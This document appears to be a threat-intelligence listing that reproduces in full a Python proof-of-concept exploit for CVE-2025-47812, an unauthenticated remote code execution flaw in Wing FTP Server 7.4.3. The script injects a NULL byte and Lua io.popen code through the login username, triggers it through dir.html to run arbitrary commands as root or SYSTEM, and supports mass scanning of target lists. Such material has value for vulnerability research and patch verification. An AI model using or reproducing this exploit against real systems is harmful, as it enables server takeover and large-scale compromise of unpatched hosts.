Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) # CVE: CVE-2025-47812 # Date: 2025-06-30 # Exploit Author: Sheikh Mohammad Hasan aka 4m3rr0r (https://github.com/4m3rr0r) # Vendor Homepage: https://www.wftpserver.com/ # Version: Wing FTP Server <= 7.4.3 # Tested on: Linux (Root Privileges), Windows (SYSTEM Privileges) # Description: # Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) # flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the 'username' # parameter during login, leading to Lua code injection into session files. These maliciously crafted # session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed, # resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows). # The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL) # and the session creation logic (which uses the full unsanitized username). # Proof-of-Concept (Python): # The provided Python script automates the exploitation process. # It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html. # Upon successful authentication (even anonymous), a UID cookie is returned. # A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code, # leading to RCE. import requests import re import argparse # ANSI color codes RED = "\033[91m" GREEN = "\033[92m" RESET = "\033[0m" def print_green(text): print(f"{GREEN}{text}{RESET}") def print_red(text): print(f"{RED}{text}{RESET}") def run_exploit(target_url, command, username="anonymous", verbose=False): login_url = f"{target_url}/loginok.html" login_headers = { "Host": target_url.split('//')[1].split('/')[0], "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": target_url, "Connection": "keep-alive", "Referer": f"{target_url}/login.html?lang=english", "Cookie": "client_lang=english", "Upgrade-Insecure-Requests": "1", "Priority": "u=0, i" } from urllib.parse import quote encoded_username = quote(username) payload = ( f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")" "%0dh%3aclose()%0dprint(r)%0d--&password=" ) if verbose: print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'") try: login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10) login_response.raise_for_status() except requests.exceptions.RequestException as e: print_red(f"[-] Error sending POST request to {login_url}: {e}") return False set_cookie = login_response.headers.get("Set-Cookie", "") match = re.search(r'UID=([^;]+)', set_cookie) if not match: print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.") return False uid = match.group(1) if verbose: print_green(f"[+] UID extracted: {uid}") dir_url = f"{target_url}/dir.html" dir_headers = { "Host": login_headers["Host"], "User-Agent": login_headers["User-Agent"], "Accept": login_headers["Accept"], "Accept-Language": login_headers["Accept-Language"], "Accept-Encoding": login_headers["Accept-Encoding"], "Connection": "keep-alive", "Cookie": f"UID={uid}", "Upgrade-Insecure-Requests": "1", "Priority": "u=0, i" } if verbose: print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}") try: dir_response = requests.get(dir_url, headers=dir_headers, timeout=10) dir_response.raise_for_status() except requests.exceptions.RequestException as e: print_red(f"[-] Error sending GET request to {dir_url}: {e}") return False body = dir_response.text clean_output = re.split(r'<\?xml', body)[0].strip() if verbose: print_green("\n--- Command Output ---") print(clean_output) print_green("----------------------") else: if clean_output: print_green(f"[+] {target_url} is vulnerable!") else: print_red(f"[-] {target_url} is NOT vulnerable.") return bool(clean_output) def main(): parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.") parser.add_argument("-u", "--url", type=str, help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.") parser.add_argument("-f", "--file", type=str, help="File containing list of target URLs (one per line).") parser.add_argument("-c", "--command", type=str, help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.") parser.add_argument("-v", "--verbose", action="store_true", help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.") parser.add_argument("-o", "--output", type=str, help="File to save vulnerable URLs.") parser.add_argument("-U", "--username", type=str, default="anonymous", help="Username to use in the exploit payload. Default: anonymous") args = parser.parse_args() if not args.url and not args.file: parser.error("Either -u/--url or -f/--file must be specified.") command_to_use = args.command if args.command else "whoami" verbose_mode = True if args.command else args.verbose vulnerable_sites = [] targets = [] if args.file: try: with open(args.file, 'r') as f: targets = [line.strip() for line in f if line.strip()] except Exception as e: print_red(f"[-] Could not read target file '{args.file}': {e}") return else: targets = [args.url] for target in targets: print(f"\n[*] Testing target: {target}") is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode) if is_vulnerable: vulnerable_sites.append(target) if args.output and vulnerable_sites: try: with open(args.output, 'w') as out_file: for site in vulnerable_sites: out_file.write(site + "\n") print_green(f"\n[+] Vulnerable sites saved to: {args.output}") except Exception as e: print_red(f"[-] Could not write to output file '{args.output}': {e}") if __name__ == "__main__": main()